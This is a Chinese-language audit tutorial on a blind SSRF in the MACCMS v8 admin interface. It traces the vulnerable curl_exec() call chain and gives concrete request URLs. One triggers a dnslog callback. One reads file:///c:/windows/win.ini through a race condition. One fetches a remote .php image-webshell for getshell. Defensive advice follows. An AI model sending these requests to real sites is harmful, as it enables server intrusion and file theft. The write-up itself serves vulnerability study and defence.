代码审计-无回显SSRF的奇妙审计之旅
字数 1197 2025-08-09 17:09:35
无回显SSRF漏洞审计与利用实战教学
漏洞概述
本教学文档基于对MACCMS v8系统的代码审计过程,详细讲解如何发现、分析和利用一个无回显SSRF(Server-Side Request Forgery)漏洞,并最终实现文件上传getshell的全过程。
漏洞发现
1. 定位关键函数
审计从搜索curl_exec()函数开始,该函数常用于发起HTTP请求,是SSRF漏洞的常见来源。
在maccms8\inc\common\function.php文件的824行发现使用了curl_exec():
function getPage($url, $timeout = 10, $header = "") {
// ...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// ...
$html = curl_exec($ch);
// ...
}
2. 参数溯源
getPage()函数的$url参数未经过滤,接下来反向查找调用链:
getPage()被savepic()函数调用(1746行)savepic()被admin_interface.php调用(452行)- 参数
$d_pic通过be()函数接收(66行)
be()是自定义函数,all表示可通过GET或POST接收参数,d_pic就是参数值。
利用条件分析
要触发漏洞,需要满足以下条件:
- 传入
ac=vod(GET/POST) - 传入正确的
pass值(来自config/config.php) - 站外入库配置中:
$MAC['collect']['vod']['pic']设为1(后台"采集过程中同步图片"开启)- 二次更新规则包含'j'(选择图片)
漏洞验证
构造请求验证SSRF:
http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=1&d_type=1&d_pic=http://ckrooo.dnslog.cn
注意:首次访问可能只执行SQL注入,第二次访问才会触发DNS查询。
无回显SSRF的利用技巧
虽然漏洞无回显,但通过代码分析发现:
savepic()函数会将获取的内容写入文件(1749行)- 如果不是图片内容,会删除该文件
条件竞争利用
利用写入和删除之间的时间差,通过条件竞争读取文件:
- 使用Burp Suite同时发送多个请求:
http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=1&d_type=1&d_pic=file:///c:/windows/win.ini - 快速访问临时文件,在删除前读取内容
文件上传getshell
更严重的漏洞是文件上传:
- 构造图片马(必须是有效图片)
- 但可以保留.php后缀
- 请求:
http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=10&d_type=2&d_pic=http://xxx/1234.php - 文件会被上传并可解析执行
其他利用点
ac=art参数路径(需修改相应后台配置)- 多种协议支持(file://, http://等)
- 内网服务探测
防御建议
- 对
curl_exec()的URL参数进行严格过滤 - 限制可访问的协议(禁用file://等危险协议)
- 文件上传时严格检查文件内容和扩展名
- 使用白名单机制限制外部请求的目标地址
- 对敏感操作增加权限验证
总结
本案例展示了:
- 如何通过系统化代码审计发现SSRF漏洞
- 无回显漏洞的验证和利用技巧
- 条件竞争在实际漏洞利用中的应用
- 从SSRF到文件上传getshell的完整攻击链
关键点在于深入理解代码执行流程,不放过任何可能的利用点,即使看似"无用"的漏洞也可能通过巧妙方法变成严重威胁。